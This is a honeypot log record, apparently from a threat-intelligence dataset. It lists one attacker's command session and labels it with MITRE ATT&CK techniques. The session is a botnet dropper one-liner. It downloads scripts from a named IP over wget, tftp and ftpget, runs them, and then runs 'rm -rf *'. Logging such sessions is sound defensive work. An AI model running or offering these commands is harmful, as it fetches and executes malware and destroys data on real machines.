Honeypot attack session (period 2021_2022), commands issued:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.87.139.100/x86/GhOul.sh; chmod 777 GhOul.sh; sh GhOul.sh; tftp 194.87.139.100 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 194.87.139.100; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 194.87.139.100 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf GhOul.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *

MITRE ATT&CK techniques observed:
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal